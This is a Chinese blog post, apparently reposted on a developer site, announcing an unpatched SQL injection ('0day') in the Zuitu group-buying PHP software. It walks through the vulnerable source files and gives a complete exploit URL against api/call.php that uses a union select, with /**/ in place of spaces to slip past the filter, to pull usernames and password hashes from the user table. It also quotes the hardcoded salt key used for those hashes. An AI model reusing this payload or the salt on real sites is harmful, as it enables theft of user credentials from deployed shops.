最土团购0day

先看页面:./include/library/DB.class.php,代码如下:
 
—————code—————–
    static public function GetDbRowById($table, $ids=array()) { 
        $one = is_array($ids) ? false : true;
        settype($ids, ‘array’);
                //var_dump($ids);
        $idstring = join(‘\’,\”, $ids);
                            
        if(preg_match(‘/[\s]/’, $idstring)) return array();//不可以有空格,用/**/代替 
        $q = “SELECT * FROM `{$table}` WHERE id IN (‘{$idstring}’)”;
                //var_dump($q);
        $r = self::GetQueryResult($q, $one);//没有过滤,直接查询了
        if ($one) return $r;
        return Utility::AssColumn($r, ‘id’);
    }
——————code—————
然后搜索函数GetDbRowById(),发现只有在文件:./include/library/Table.class.php中有调用,代码如下:
 
 
——————–code0————–
    static private function _Fetch($n=null, $ids=array()) {
        $r = Cache::GetObject($n, $ids);
        $diff = array_diff($ids, array_keys($r));
        if(!$diff) return $r;
        $rr = DB::GetDbRowById($n, array_values($diff));
        Cache::SetObject($n, $rr);
        $r = array_merge($r, $rr);
        return Utility::SortArray($r, $ids, ‘id’);
    }
           
    static public function FetchForce($n=null, $ids=array()) {
        if ( empty($ids) || !$ids ) return array();
        $single = is_array($ids) ? false : true;
        settype($ids, ‘array’); $ids = array_values($ids);
        $ids = array_diff($ids, array(NULL));
                //var_dump($ids);
           
        $r = DB::GetDbRowById($n, $ids);
                //var_dump($r);
        Cache::SetObject($n, $r);
        return $single ? array_pop($r):Utility::SortArray($r,$ids,’id’); 
    }   
———————-code———————
然后跟踪搜索函数static public function FetchForce(),发现有很多页面都有调用。

 
 
刚开始的时候随便找了个页面看,结果不爆错,不过从输出的调试语句看,确实是可以注入。既然不能爆错,就只能找可以显示结果的页面来联合查询了。找到页面./api/call.php,部分代码如下:
 —————–code————–
<?php
require_once(dirname(dirname(__FILE__)) . ‘/app.php’);
        
$action = strval($_GET['action']);
$callerid = strval($_GET['callerid']);
$cid = strval($_GET['num']);//这里是外界提交的数据
$sec = strval($_GET['secret']);
$allow = array(‘query’,'consume’);
if (false==in_array($action, $allow))  redirect(WEB_ROOT . ‘/index.php’); 
        
header(‘Content-Type: application/xml; charset=UTF-8′);
//优惠券查询
if($action == ‘query’) {
    $coupon = Table::FetchForce(‘coupon’, $cid);
    $partner = Table::Fetch(‘partner’, $coupon['partner_id']);
    $team = Table::Fetch(‘team’, $coupon['team_id']);
    $e = date(‘Y-m-d’, $team['expire_time']);
…..
…..
…..
————code—————————
利用语句:
 
http://www.2cto.com /api/call.php?action=query&num=123′%29/**/union/**/select/**/1,2,3,concat(0x7e,0×27,username,0x7e,0×27,password),5,6,7,8,9,10,11,12,13,14,15,16/**/from/**/user/**/limit/**/0,1%23
不过密码有点坑,加了SECRET_KEY的。页面./include/classes/ZUser.class.php,代码如下:
 
 
———————-code————–
    const SECRET_KEY = ‘@4!@#$%@’;
        
    static public function GenPassword($p) { 
        return md5($p . self::SECRET_KEY);
    }
—————code———————
 
作者:qingsh4n
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值